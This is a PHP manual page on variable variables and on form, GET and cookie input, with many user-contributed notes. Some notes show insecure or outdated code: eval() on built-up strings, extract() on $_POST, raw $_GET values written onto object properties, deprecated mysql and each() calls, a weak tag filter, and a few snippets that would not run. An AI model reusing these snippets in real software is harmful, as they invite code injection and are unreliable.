To generate a family of variables, such as $a1, $a2, $a3, etc., one can use "variable variables" as follows:

<?php
for ($i = 1; $i <= 5; $i++) {
  ${a.$i} = "value";
}

echo "$a1, $a2, $a3, $a4, $a5";
//Output is value, value, value, value, value
?>

Note that the correct syntax is ${a.$i} rather than the perhaps more intuitive $a{$i}

The dot (.) is the string concatenation operator.

A family of variables might be used as an alternative to arrays.
Sam Yong - hellclanner at live dot com 21-Aug-2010 11:42
Want to access object's property or array value using variable variables but not possible?

Here's a workaround to it:

<?php

function varvar($str){
    if(strpos($str,'->') !== false){
      // Accessing object property
        $parts = explode('->',$str);
        global ${$parts[0]};
        return ${$parts[0]}->$parts[1];
    }elseif(strpos($str,'[') !== false && strpos($str,']') !== false){
        $parts = explode('[',$str);
        global ${$parts[0]};
        $parts[1] = substr($parts[1],0,strlen($parts[1])-1);
        return ${$parts[0]}[$parts[1]];
    }else{
        global ${$str};
        return ${$str};
    }
}

$arrayTest = array('value0', 'value1', 'test1'=> 'value2', 'test2'=> 'value3');
$objectTest = (object)$arrayTest;

$test = 'arrayTest[1]';
var_dump(varvar($test)); // string(6) "value1"
var_dump($$test); // NULL

$test2 = 'objectTest->test2';
var_dump(varvar($test2)); // string(6) "value3"
var_dump($$test2); // NULL

?>

Cheers
Sam-Mauris Yong
mason 28-Jun-2010 09:39
PHP actually supports invoking a new instance of a class using a variable class name since at least version 5.2

<?php
class Foo {
   public function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$a = new $my_foo();
$a->hello(); //prints 'Hello world!'
?>

Additionally, you can access static methods and properties using variable class names, but only since PHP 5.3

<?php
class Foo {
   public static function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$my_foo::hello(); //prints 'Hello world!'
?>
userb at exampleb dot org 08-Apr-2010 11:39
<?php

  //You can even add more Dollar Signs

  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";

  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a

  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World

  //... and so on ...//

?>
dlorre at yahoo dot com 16-Feb-2010 09:04
Adding an element directly to an array using variables:

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
$$a[] ="four" ; // <==== fatal error
print_r($tab) ;
?>
will issue this error:

Fatal error: Cannot use [] for reading

This is not a bug, you need to use the {} syntax to remove the ambiguity.

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
${$a}[] =  "four" ; // <==== this is the correct way to do it
print_r($tab) ;
?>
php at willshouse dot the-usual-uk-tld 21-Nov-2009 01:14
If you need to access one of the superglobals using a variable variable, you can look it up in $GLOBALS:

<?PHP
define('FORM_METHOD', 'post');

function getFormVariable( $fieldName, $defaultValue )
{
    global $FILTER_METHOD;
    $getpost = $GLOBALS[ '_' . strtoupper(FILTER_METHOD) ];
    if ( ! array_key_exists( $fieldName, $getpost    ) )    { return $defaultValue; }
    if ( empty(    $getpost[ $fieldName ]            ) )    { return $defaultValue; }
    return $getpost[ $fieldName ];
}

echo "<form method=\"".FORM_METHOD."\">\n";
?>
al at o3strategies dot com 16-Nov-2009 03:01
This is an extremely handy use for variable variables especially when dealing with direct data modeling.  This will allow you to automatically set object properties based on a query result. When new fields are added to the table, the class will receive these properties automatically. This is great for maintaining user data or other large tables. Your property names will be bound to your column name in the database, making maintenance worry free. This method uses $this->{$var} for the variable variable creation.

<?php
class testTableData() {

    function testTableData(){
        // testTable includes the columns: name, user, date
        $query = "SELECT * FROM testTable";
        $result = mysql_query($query) or die (mysql_error());
        $row = mysql_fetch_array($result);
        foreach ($row as $var => $key) {
            $this->{$var} = $key;
        }
    }

}

// Access table properties
$table = new testTableData();

echo $table->name;
echo $table->user;
echo $table->date;

?>
Matthew (mwwaygoo AT hotmail DOT com) 02-Nov-2009 05:03
A note on Variable variables/functions and classes

To store a function name in a variable and call it later, within a class, you do the following:-

<?php

class test_class
{
    var $func='display_UK';  // function name *

    function display_UK()
    {
        echo "Hello";
    }
    function display_FR()
    {
        echo "Bonjour";
    }
    function display()
    {
        $this->{$this->func}(); // NOTE the brackets MUST be here and not in the function name above *
    }

}

$test=new test_class();
$test->display_UK(); // to test they work directly
$test->display_FR();
$test->display();
?>

This allows you to specify the function required. It works better then a big switch statement as it allows for extending the class more easily. (ie adding display_ES(); )
moomin 24-Jun-2009 05:58
If $something is 'myvar' then you can use $obj->{"_$something"} to get the value of $obj->_myvar without having to use eval.
aditeojr at yahoo dot co dot uk 01-Jun-2009 11:36
Parsing and retrieving a value from superglobals, by a specified order, looping until it find one :

<?php
function GetInputString($name, $default_value = "", $format = "GPCS")
    {

        //order of retrieve default GPCS (get, post, cookie, session);

        $format_defines = array (
        'G'=>'_GET',
        'P'=>'_POST',
        'C'=>'_COOKIE',
        'S'=>'_SESSION',
        'R'=>'_REQUEST',
        'F'=>'_FILES',
        );
        preg_match_all("/[G|P|C|S|R|F]/", $format, $matches); //splitting to globals order
        foreach ($matches[0] as $k=>$glb)
        {
            if ( isset ($GLOBALS[$format_defines[$glb]][$name]))
            {
                return $GLOBALS[$format_defines[$glb]][$name];
            }
        }

        return $default_value;
    }
?>
php at ianco dot co dot uk 28-May-2009 11:47
<?php
// $variable-name = 'parse error';
// You can't do that but you can do this:
$a = 'variable-name';
$$a = 'hello';
echo $variable-name . ' ' . $$a; // Gives     0 hello
?>

For a particular reason I had been using some variable names with hyphens for ages. There was no problem because they were only referenced via a variable variable. I only saw a parse error much later, when I tried to reference one directly. It took a while to realise that illegal hyphens were the cause because the parse error only occurs on assignment.
nick at customdesigns dot ca 10-Dec-2008 07:14
On the topic of variable variables with arrays, I have a simple function that solves the issue. It works for both indexed and associative arrays, and allows use with superglobals.

<?php
function VariableArray($arr, $string)
    {
    preg_match_all('/\[([^\]]*)\]/', $string, $arr_matches, PREG_PATTERN_ORDER);

    $return = $arr;
    foreach($arr_matches[1] as $dimension)
        {
        $return = $return[$dimension];
        }

    return $return;
    }

$test = array('one' => 'two', 'four' => array(8));

$foo = 'test';
$bar = $$foo;
$baz = "[one]";
$var = VariableArray($bar, $baz); //$var now contains 'two'

$baz = "[four][0]";
$var = VariableArray($bar, $baz); //$var now contains int(8)
?>

You can simply pass in a superglobal as the first argument. Note for associative arrays don't put quotes inside the square braces unless you adjust the regexp to accept it. I wanted to keep it simple.
Anonymous 01-Dec-2008 04:44
I have a HTML form that has a dynamic number of fields (for entry of collected data it adds a new field each time) and would like to use the variable variable on _POST.  This way, I could increment the field name value with a loop limit when say 100 fields are reached (the max for the form.)

Below is the solution I came up with to work around it:

<?php
        $MaxRows=100;
        $NumbersOfTime=0;
        extract ($_POST,EXTR_PREFIX_ALL,'pos');

        for ($i = 1; $i <= $MaxRows; $i = $i + 1)
        {
                $tmp = "pos_TimeRecorded{$i}";
                if (isset($$tmp))
                {
                        $TimeRecorded[$i]=$$tmp;

                }
                else
                {
                        $NumbersOfTime=$i-1;
                        break;
                }
        }

?>
nullhility at gmail dot com 06-Jun-2008 09:43
It's also valuable to note the following:

<?php
${date("M")} = "Worked";
echo ${date("M")};
?>

This is perfectly legal, anything inside the braces is executed first, the return value then becomes the variable name. Echoing the same variable variable using the function that created it results in the same return and therefore the same variable name is used in the echo statement. Have fun ;).
Nathan Hammond 12-Feb-2008 12:41
These are the scenarios that you may run into trying to reference superglobals dynamically. Whether or not it works appears to be dependent upon the current scope.

<?php

$_POST['asdf'] = 'something';

function test() {
    // NULL -- not what initially expected
    $string = '_POST';
    var_dump(${$string});

    // Works as expected
    var_dump(${'_POST'});

    // Works as expected
    global ${$string};
    var_dump(${$string});

}

// Works as expected
$string = '_POST';
var_dump(${$string});

test();

?>
j3nda at fv dot cz 30-Dec-2007 10:23
hi, i handling multi-array with like this:

i use this for some classes with direct access to $__info array. and i have some config_{set|get} static functions without this class, but handling is the same.

i'm not testing this piece of code for benchmark and high load.

<?php
class __info {
  private $__info=array();

  public function __s($value=null, $id='')
    {
        if ($id == '')
            return false;

        $id='[\''.$id.'\']';
        for ($i=2, $max=func_num_args(), $args=func_get_args(); $i<$max; $i++)
            $id.='[\''.$args[$i].'\']';

        eval('
            if (isset($this->__info'.$id.')) {
                // debug || vyjimka
            }
            $this->__info'.$id.'=$value;
        ');
        return true;
    }

  public function __g($id)
    {
        $uid='';
        for ($i=0, $max=func_num_args(), $args=func_get_args(); $i<$max; $i++)
            $uid.="[\'".$args[$i]."\']";

        return eval('
            if (isset($this->__info'.$uid.')) {
                return $this->__info'.$uid.';

            } else {
                return false;
            }
            // debug || vyjimka
        ');

        return false;
    }
?>
craigmorey at gmail dot com 27-Dec-2007 05:23
For a long time I've been trying to use variable variables to figure out how to store and retrieve multi-dimensional arrays in a MySQL dbase. For instance, a config setting stored in a complex array might resemble the below:

<?php $config['modules']['module_events']['settings']['template']['name'] = 'List Page'; ?>

The most obvious way for storing this info in a dbase (discounting XML/JSON) is to store a "path" (of the nesting) and a "value" in a database record:

'modules,module_events,settings,template,name' = 'List Page'

But storing it is only part of the problem. PHP variable variables are no use to try and interpret string representations of arrays, eg it will see the string representation of a nested array such as config['modules']['module_events'] as a single variable called 'config[modules][module_events]', so loops that parse the "path" into a variable variable don't help.

So here is a little function that parses an array of "paths" and "value" strings (eg from a dbase) into a multi-dimensional nested array.

<?php
function multiArrayMe($input_array) {
    $output_array = array();
    # common sense check
    if (!is_array($input_array)) {
        return false;
    }
    # loop through the array of "path"=>"value"
    foreach ($input_array AS $key1 => $val1) {

        # explode the path to find the list of nested keys
        $temp1 = explode(',',$key1);
        # if this path isn't an array, skip this cycle
        if (!is_array($temp1)) {
            continue;
        }
        # reverse sort the keys so we'll start building from
        # the bottom, not the top
        krsort($temp1);
        # start with the temporary array off with the end value
        $temp2 = $val1;
        # loop through the nested keys
        foreach($temp1 AS $val2) {
            # if this nested key has no name,
            # (and isn't "0") skip this cycle
            if ($val2===false) {
                continue;
            }
            # gradually build up the this temporary nested array
            # from the leaf, working up the branches to the trunk
            $temp2 = array($val2 => $temp2);
        }
        # for this cycle, dump this bucketful of data into the bathtub
        $output_array = array_merge_recursive($output_array,$temp2);
    }
    return $output_array;
}
?>
correojulian33-php at yahoo dot es 28-Nov-2007 03:59
This example may help to overcome the limitation on $this.

Populate automatically fields of an object form a $_GET variable.

<?php
class pp{
   var $prop1=1,$prop2=2,$prop3=array(3,4,5);

   function fun1(){
      $vars=get_class_vars('pp');
      while(list($var,$value)=each($vars)){
               $ref=& $this->$var;
               $ref=$_GET[$var];

      } // while
      var_dump($this);
   }
}

$_GET['prop1']="uno";
$_GET['prop2']="dos";
$_GET['prop3']=array('tres','cuatro','cinco','seis');

$p=new pp();
$p->fun1();
?>

output is ...

object(pp)#1 (3) {
  ["prop1"]=>
  &string(3) "uno"
  ["prop2"]=>
  &string(3) "dos"
  ["prop3"]=>
  &array(4) {
    [0]=>
    string(4) "tres"
    [1]=>
    string(6) "cuatro"
    [2]=>
    string(5) "cinco"
    [3]=>
    string(4) "seis"
  }
}
the_tevildo at yahoo dot com 13-Oct-2007 03:22
This is a handy function I put together to allow variable variables to be used with arrays.

To use the function, when you want to reference an array, send it in the form 'array:key' rather than 'array[key]'.

For example:

<?php

function indirect ($var, $value)     // Replaces $$var = $value
{
   $var_data = $explode($var, ':');
   if (isset($var_data[1]))
   {
      ${$var_data[0]}[$var_data[1]] = $value;
   }
   else
   {
      ${$var_data[0]} = $value;
   }
}

$temp_array = array_fill(0, 4, 1);
$temp_var = 1;
$int_var_list = array('temp_array[2]', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   //  Doesn't work - creates scalar variable called "$temp_array[2]"
   $$var_name = 0;
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';

//  Does work!

$int_var_list = array('temp_array:2', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   indirect($var_name, 2);
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';
?>
Sinured 11-Jun-2007 03:07
One interesting thing I found out: You can concatenate variables and use spaces. Concatenating constants and function calls are also possible.

<?php
define('ONE', 1);
function one() {
    return 1;
}
$one = 1;

${"foo$one"} = 'foo';
echo $foo1; // foo
${'foo' . ONE} = 'bar';
echo $foo1; // bar
${'foo' . one()} = 'baz';
echo $foo1; // baz
?>

This syntax doesn't work for functions:

<?php
$foo = 'info';
{"php$foo"}(); // Parse error

// You'll have to do:
$func = "php$foo";
$func();
?>

Note: Don't leave out the quotes on strings inside the curly braces, PHP won't handle that graciously.
mot at tdvniikp dot ru 05-May-2006 05:41
You can simple access Globals by variable variables in functions, example:
<?php
function abc() {
    $context = '_SESSION';

    global $$context;
    if(isset($$context)) {
        var_dump($$context);
    }
}
abc();
?>
fabio at noc dot soton dot ac dot uk 11-Oct-2005 01:15
A static variable variable sounds like an oxymoron and indeed cannot exist. If you define:

<?php
$var = "ciao";
static $$var = 0;
?>

you get a parse error.
Regards,

Fabio
rafael at fuchs inf br 22-Mar-2005 05:08
You can use constants in variable variables, like I show below. This works fine:

<?php
define("TEST","Fuchs");
$Fuchs = "Test";

echo TEST . "<BR>";
echo ${TEST};
?>

output:

Fuchs
Test
Anonymous 14-Mar-2005 04:25
It may be worth specifically noting, if variable names follow some kind of "template," they can be referenced like this:

<?php
// Given these variables ...
$nameTypes    = array("first", "last", "company");
$name_first   = "John";
$name_last    = "Doe";
$name_company = "PHP.net";

// Then this loop is ...
foreach($nameTypes as $type)
  print ${"name_$type"} . "\n";

// ... equivalent to this print statement.
print "$name_first\n$name_last\n$name_company\n";
?>

This is apparent from the notes others have left, but is not explicitly stated.
Shawn Beltz 02-Mar-2005 09:06
Multidimensional variable variables.  If you want to run the below as one big program, you'll have to undefine $foo in between assignments.

<?php

$foo = "this is foo.";
$ref = "foo";
print $$ref;
# prints "this is foo."

$foo[1]['a_z'] = "this is foo[1][a_z].";
$ref = "foo[1][a_z]";
print $$ref;
# Doesn't print anything!

$foo = "this is foo.";
$ref = "foo";
$erf = eval("return \$$ref;");
print $erf;
# prints "this is foo."

$foo[1]['a_z'] = "this is foo[1][a_z].";
$ref = "foo[1][a_z]";
$erf = eval("return \$$ref;");
print $erf;
# prints "this is foo[1][a_z]."

?>
sir_hmba AT yahoo DOT com 07-May-2003 12:08
This is somewhat redundant, but I didn't see an example that combined dynamic reference of *both* object and attribute names.

Here's the code:

<?php
class foo
{
    var $bar;
    var $baz;

    function foo()
    {
        $this->bar = 3;
        $this->baz = 6;
    }
}

$f = new foo();
echo "f->bar=$f->bar  f->baz=$f->baz\n";

$obj  = 'f';
$attr = 'bar';
$val  = $$obj->{$attr};

echo "obj=$obj  attr=$attr  val=$val\n";
?>

And here's the output:

f->bar=3  f->baz=6
$obj=f  $attr=bar  $val=3
antony dot booth at nodomain dot here 19-Sep-2002 04:17
You may think of using variable variables to dynamically generate variables from an array, by doing something similar to: -

<?php
 foreach ($array as $key => $value)
 {
  $$key= $value;
 }

?>

This however would be reinventing the wheel when you can simply use:

<?php
extract( $array, EXTR_OVERWRITE);
?>

Note that this will overwrite the contents of variables that already exist.

Extract has useful functionality to prevent this, or you may group the variables by using prefixes too, so you could use: -

EXTR_PREFIX_ALL

<?php
$array =array("one" => "First Value",
"two" => "2nd Value",
"three" => "8"
                );

extract( $array, EXTR_PREFIX_ALL, "my_prefix_");

?>

This would create variables: -
$my_prefix_one
$my_prefix_two
$my_prefix_three

containing: -
"First Value", "2nd Value" and "8" respectively
jupp-mueller at t-online dot de 08-Sep-2002 03:29
I found another undocumented/cool feature: variable member variables in classes. It's pretty easy:

<?php
class foo {
  function bar() {
    $bar1 = "var1";
    $bar2 = "var2";
    $this->{$bar1}= "this ";
    $this->{$bar2} = "works";
  }
}

$test = new foo;
$test->bar();
echo $test->var1 . $test->var2;
?>
thien_tmpNOSPAM at hotmail dot com 21-Aug-2002 12:37
You can also use variable variables and the string concat operator to generate suffixed (or prefixed) variables based on a base name.

For instance, if you wanted to dynamically generate this series of variables:

base1_suffix1
base1_suffix2
base2_suffix1
base2_suffix2
base3_suffix1
base3_suffix2

You can do this:

<?php
$bases = array('base1', 'base2', 'base3');
$suffixes = array('suffix1', suffix2);
foreach($bases as $base) {
    foreach($suffixes as $suffix) {
        ${$base.$suffix} = "whatever";
        #...etc
    }
}
?>
J. Dyer 12-Aug-2002 10:05
Another use for this feature in PHP is dynamic parsing..

Due to the rather odd structure of an input string I am currently parsing, I must have a reference for each particular object instantiation in the order which they were created.  In addition, because of the syntax of the input string, elements of the previous object creation are required for the current one.

Normally, you won't need something this convolute.  In this example, I needed to load an array with dynamically named objects - (yes, this has some basic Object Oriented programming, please bare with me..)

<?php
   include("obj.class");

   // this is only a skeletal example, of course.
   $object_array = array();

   // assume the $input array has tokens for parsing.
   foreach ($input_array as $key=>$value){
      // test to ensure the $value is what we need.
         $obj = "obj".$key;
         $$obj = new Obj($value, $other_var);
         Array_Push($object_array, $$obj);
      // etc..
   }

?>

Now, we can use basic array manipulation to get these objects out in the particular order we need, and the objects no longer are dependant on the previous ones.

I haven't fully tested the implimentation of the objects.  The  scope of a variable-variable's object attributes (get all that?) is a little tough to crack.  Regardless, this is another example of the manner in which the var-vars can be used with precision where tedious, extra hard-coding is the only alternative.

Then, we can easily pull everything back out again using a basic array function: foreach.

<?php
//...
   foreach($array as $key=>$object){

      echo $key." -- ".$object->print_fcn()." <br/>\n";

   } // end foreach

?>

Through this, we can pull a dynamically named object out of the array it was stored in without actually knowing its name.
04-Jun-2002 08:34
The 'dollar dereferencing' (to coin a phrase) doesn't seem to be limited to two layers, even without curly braces.  Observe:

<?php
$one = "two";
$two = "three";
$three = "four";
$four = "five";
echo $$$$one; //prints 'five'.
?>

This works for L-values as well.  So the below works the same way:

<?php
$one = "two";
$$one = "three";
$$$one = "four";
$$$$one = "five";
echo $$$$one; //still prints 'five'.
?>

NOTE: Tested on PHP 4.2.1, Apache 2.0.36, Red Hat 7.2
chrisNOSPAM at kampmeier dot net 08-Aug-2001 07:40
Note that normal variable variables will not be parsed in double-quoted strings. You'll have to use the braces to make it work, to resolve the ambiguity. For example:

<?php
$varname = "foo";
$foo = "bar";

print $$varname;  // Prints "bar"
print "$$varname";  // Prints "$foo"
print "${$varname}"; // Prints "bar"
?>
mstearne at entermix dot com 11-May-2001 03:09
Variable variables techniques do not work when one of the "variables" is a constant.  The example below illustrates this.  This is probably the desired behavior for constants, but was confusing for me when I was trying to figure it out.  The alternative I used was to add the variables I needed to the $GLOBALS array instead of defining them as constants.

<?php

define("DB_X_NAME","database1");
define("DB_Y_NAME","database2");
$DB_Z_NAME="database3";

function connectTo($databaseName){
global $DB_Z_NAME;

$fullDatabaseName="DB_".$databaseName."_NAME";
return ${$fullDatabaseName};

}

print "DB_X_NAME is ".connectTo("X")."<br>";
print "DB_Y_NAME is ".connectTo("Y")."<br>";
print "DB_Z_NAME is ".connectTo("Z")."<br>";

?>
[Editor Note: For variable constants, use constant() --Philip]
bpotier at edreamers dot org 26-Feb-2001 06:11
A good example of the use of variable variables name. Imagine that you want to modify at the same time a list of more than one record from a db table.
1) You can easily create a dynamic form using PHP. Name your form elements using a static name and the record id
ex: <input name="aninput<?php echo $recordid?>" which gives in the output something like <input name="aninput15">

2)You need to provide to your form action/submit script the list of records ids via an array serialized and urlencoded via an hidden field (to decode and un serialize once in the submit script)

3) In the script used to submit you form you can access the input value by using the variable ${'aninput'.$recordid} to dynamically create as many UPDATE query as you need

[Editor Note: Simply use an array instead, for example: <input name="aninput[<?php echo $recordid?>]" And loop through that array. -Philip]
dnl at au dot ru 08-Dec-2000 08:01
By the way...
Variable variables can be used as pointers to objects' properties:

<?php
class someclass {
  var $a = "variable a";
  var $b = "another variable: b";
  }

$c = new someclass;
$d = "b";
echo $c->{$d};
?>

outputs: another variable: b
mccoyj at mail dot utexas dot edu 04-Nov-2000 12:36
There is no need for the braces for variable object names...they are only needed by an ambiguity arises concerning which part of the reference is variable...usually with arrays.

<?php
class Schlemiel {
var $aVar = "foo";
}

$schlemiel = new Schlemiel;
$a = "schlemiel";
echo $$a->aVar;
?>

This code outputs "foo" using PHP 4.0.3.

Hope this helps...
- Jordan


Variables From External Sources

HTML Forms (GET and POST)

When a form is submitted to a PHP script, the information from that form is automatically made available to the script. There are few ways to access this information, for example:

Example #1 A simple HTML form

<form action="foo.php" method="post">
    Name:  <input type="text" name="username" /><br />
    Email: <input type="text" name="email" /><br />
    <input type="submit" name="submit" value="Submit me!" />
</form>

As of PHP 5.4.0, there are only two ways to access data from your HTML forms. Currently availiable methods are listed below:

Example #2 Accessing data from a simple POST HTML form

<?php
echo $_POST['username'];
echo $_REQUEST['username'];
?>

There were some other ways of accessing user input in old PHP versions. There are listed below. See changelog at the bottom of the page for more details.

Example #3 Old methods of accessing user input

<?php
// WATCH OUT: these methods ARE NOT supported anymore.
// Valid ones were described above.

// Using import_request_variables() - this function has been removed in PHP 5.4.0
   import_request_variables('p', 'p_');
   echo $p_username;

// These long predefined variables were removed in PHP 5.4.0
   echo $HTTP_POST_VARS['username'];

// Using register_globals. This feature was removed in PHP 5.4.0
   echo $username;
?>

Using a GET form is similar except you'll use the appropriate GET predefined variable instead. GET also applies to the QUERY_STRING (the information after the '?' in a URL). So, for example, http://www.example.com/test.php?id=3 contains GET data which is accessible with $_GET['id']. See also $_REQUEST.

Note:

Dots and spaces in variable names are converted to underscores. For example <input name="a.b" /> becomes $_REQUEST["a_b"].

PHP also understands arrays in the context of form variables (see the related faq). You may, for example, group related variables together, or use this feature to retrieve values from a multiple select input. For example, let's post a form to itself and upon submission display the data:

Example #4 More complex form variables

<?php
if ($_POST) {
    echo '<pre>';
    echo htmlspecialchars(print_r($_POST, true));
    echo '</pre>';
}
?>
<form action="" method="post">
    Name:  <input type="text" name="personal[name]" /><br />
    Email: <input type="text" name="personal[email]" /><br />
    Beer: <br />
    <select multiple name="beer[]">
        <option value="warthog">Warthog</option>
        <option value="guinness">Guinness</option>
        <option value="stuttgarter">Stuttgarter Schwabenbräu</option>
    </select><br />
    <input type="submit" value="submit me!" />
</form>

IMAGE SUBMIT variable names

When submitting a form, it is possible to use an image instead of the standard submit button with a tag like:

<input type="image" src="image.gif" name="sub" />

When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two additional variables, sub_x and sub_y. These contain the coordinates of the user click within the image. The experienced may note that the actual variable names sent by the browser contains a period rather than an underscore, but PHP converts the period to an underscore automatically.

HTTP Cookies

PHP transparently supports HTTP cookies as defined by » RFC 6265. Cookies are a mechanism for storing data in the remote browser and thus tracking or identifying return users. You can set cookies using the setcookie() function. Cookies are part of the HTTP header, so the SetCookie function must be called before any output is sent to the browser. This is the same restriction as for the header() function. Cookie data is then available in the appropriate cookie data arrays, such as $_COOKIE as well as in $_REQUEST. See the setcookie() manual page for more details and examples.

If you wish to assign multiple values to a single cookie variable, you may assign it as an array. For example:

<?php
  setcookie("MyCookie[foo]", 'Testing 1', time()+3600);
  setcookie("MyCookie[bar]", 'Testing 2', time()+3600);
?>

That will create two separate cookies although MyCookie will now be a single array in your script. If you want to set just one cookie with multiple values, consider using serialize() or explode() on the value first.

Note that a cookie will replace a previous cookie by the same name in your browser unless the path or domain is different. So, for a shopping cart application you may want to keep a counter and pass this along. i.e.

Example #5 A setcookie() example

<?php
if (isset($_COOKIE['count'])) {
    $count = $_COOKIE['count'] + 1;
} else {
    $count = 1;
}
setcookie('count', $count, time()+3600);
setcookie("Cart[$count]", $item, time()+3600);
?>

Dots in incoming variable names

Typically, PHP does not alter the names of variables when they are passed into a script. However, it should be noted that the dot (period, full stop) is not a valid character in a PHP variable name. For the reason, look at it:

<?php
$varname.ext;  /* invalid variable name */
?>
Now, what the parser sees is a variable named $varname, followed by the string concatenation operator, followed by the barestring (i.e. unquoted string which doesn't match any known key or reserved words) 'ext'. Obviously, this doesn't have the intended result.

For this reason, it is important to note that PHP will automatically replace any dots in incoming variable names with underscores.

Determining variable types

Because PHP determines the types of variables and converts them (generally) as needed, it is not always obvious what type a given variable is at any one time. PHP includes several functions which find out what type a variable is, such as: gettype(), is_array(), is_float(), is_int(), is_object(), and is_string(). See also the chapter on Types.

Changelog

Version | Description
5.4.0 | Register Globals, Magic Quotes and register_long_arrays has been removed
5.3.0 | Register Globals, Magic Quotes and register_long_arrays became deprecated
4.2.0 | register_globals directive defaults to off.
4.1.0 | Superglobal arrays, like $_POST and $_GET became available

User Contributed Notes

johnbendie at gmail dot com 13-Feb-2014 06:28
Please describe how the request is built and passed to the script on the server side. That will make things more clearer. Or provide a link detailing such process. Don't assume anything.
Anonymous 05-Feb-2014 09:42
From HTML 5.1 Draft:
http://www.w3.org/html/wg/drafts/html/master/forms.html#naming-form-controls:-the-name-attribute

The name content attribute gives the name of the form control, as used in form submission and in the form element's elements object. If the attribute is specified, its value must not be the empty string.
Any non-empty value for name is allowed.

So use the format like this <select multiple name="beer[]"> is still in the HTML 5 standard.
walf 04-Aug-2011 03:38
WARNING! replacement of spaces and dots does not occur in array keys.

E.g. If you have
<input name="a. b[x. y]" value="foo" />

var_dump($_POST);
gives
array(1) {
  ["a__b"]=>
  array(1) {
    ["x. y"]=>
    string(3) "foo"
  }
}
POSTer 13-Nov-2009 11:28
Here's a simple function to give you an uncorrupted version of $_POST:

<?php
// Function to fix up PHP's messing up POST input containing dots, etc.
function getRealPOST() {
    $pairs = explode("&", file_get_contents("php://input"));
    $vars = array();
    foreach ($pairs as $pair) {
        $nv = explode("=", $pair);
        $name = urldecode($nv[0]);
        $value = urldecode($nv[1]);
        $vars[$name] = $value;
    }
    return $vars;
}
?>
Anonymous 13-Feb-2008 03:46
The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.
vierubino dot r3m0oFdisB1T at gmail dot com 25-Aug-2007 06:12
When you are using checkboxes to submit multiple choices, there is no need to use the complex method further down the page where you assign a unique name to each checkbox.

Instead, just name each checkbox as the same array, e.g.:

<input type="checkbox" name="items[]" value="foo" />
<input type="checkbox" name="items[]" value="bar" />
<input type="checkbox" name="items[]" value="baz" />

This way your $_POST["items"] variable will return as an array containing all and only the checkboxes that were clicked on.
t.montg AT gmail DOT com 27-Apr-2007 02:05
For anyone else having trouble figuring out how to access values in a SELECT element from a POST or GET form, you can't set the "id" attribute to the same thing as your "name" attribute.  i.e. don't do this:

<?php
  //Not so good
  <select multiple="multiple" id="selectElem" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

If you do the above, the variable $_POST['selectElem'] will not be set.  Instead, either change the id or name attribute so that they are dissimilar.  i.e. do this:

<?php
  //So good (notice the new "id" value)
  <select multiple="multiple" id="selectElemId" name="selectElem[]">
     <option value="ham">Ham</option>
     <option value="cheese">Cheese</option>
     <option value="hamcheese">Ham and Cheese</option>
  </select>
?>

Then you can access the value(s) of the SELECT element through the array $_POST['selectElem'][] or $_GET['selectElem'][].  It took me quite some time to figure out the problem.
ch1902uk at hotmail dot com 18-Mar-2006 08:47
Regarding image input buttons, above where it says:

"When the user clicks somewhere on the image, the accompanying form will be transmitted to the server with two *additional* variables, sub_x and sub_y. These contain the coordinates of the user click within the image."

This is the case with Firefox (and probably other standards browsers), however my experience with Internet Explorer is that when image inputs are clicked, they only submit the location of the click on the button and *not* the name of the input.

So if you have a form to move/delete entries like this

entry[]  [delete_0] [up_0] [down_0]
entry[]   [delete_1] [up_1] [down_1]
entry[]   [delete_2] [up_2] [down_2]

Then submitting the form in firefox will give you post variables such as

<?php
   $_POST['delete_2'];   // "Delete" - button value
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

In IE you only get

<?php
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

So if you are checking for what button was clicked do something like this

<?php
   for ($i = 0; $i < count($_POST['entry']); $i++)
   {
      if (isset($_POST['delete_' . $i . '_x']))
      {
         // do delete
      }
   }
?>
aescomputer AT yahoo DOT com 28-Oct-2005 08:01
Here are two usefull functions for forms:

<?php
// clean html tags out of url attributes
    if(!empty($_REQUEST)){
        foreach($_REQUEST as $x => $y){
            $_REQUEST[$x] = str_replace('<', '&lt;', str_replace('>', '&gt;', $y));
        }
    }

// replace carrage returns in url attributes with <br>
    if(!empty($_REQUEST)){
        foreach($_REQUEST as $x => $y){
            $_REQUEST[$x] = str_replace("\n", '<br>', $y);
        }
    }
?>
krydprz at iit dot edu 03-May-2005 10:14
This post is with regards to handling forms that have more than one submit button.

Suppose we have an HTML form with a submit button specified like this:

<input type="submit" value="Delete" name="action_button">

Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit button can be accessed in PHP after post like this:

<?php
$_POST['action_button'];
?>

We of course use the 'name' of the button as an index into the $_POST array.

This works fine, except when we want to pass more information with the click of this particular button.

Imagine a scenario where you're dealing with user management in some administrative interface.  You are presented with a list of user names queried from a database and wish to add a "Delete" and "Modify" button next to each of the names in the list.  Naturally the 'value' of our buttons in the HTML form that we want to display will be "Delete" and "Modify" since that's what we want to appear on the buttons' faceplates.

Both buttons (Modify and Delete) will be named "action_button" since that's what we want to index the $_POST array with.  In other words, the 'name' of the buttons along cannot carry any uniquely identifying information if we want to process them systematically after submit. Since these buttons will exist for every user in the list, we need some further way to distinguish them, so that we know for which user one of the buttons has been pressed.

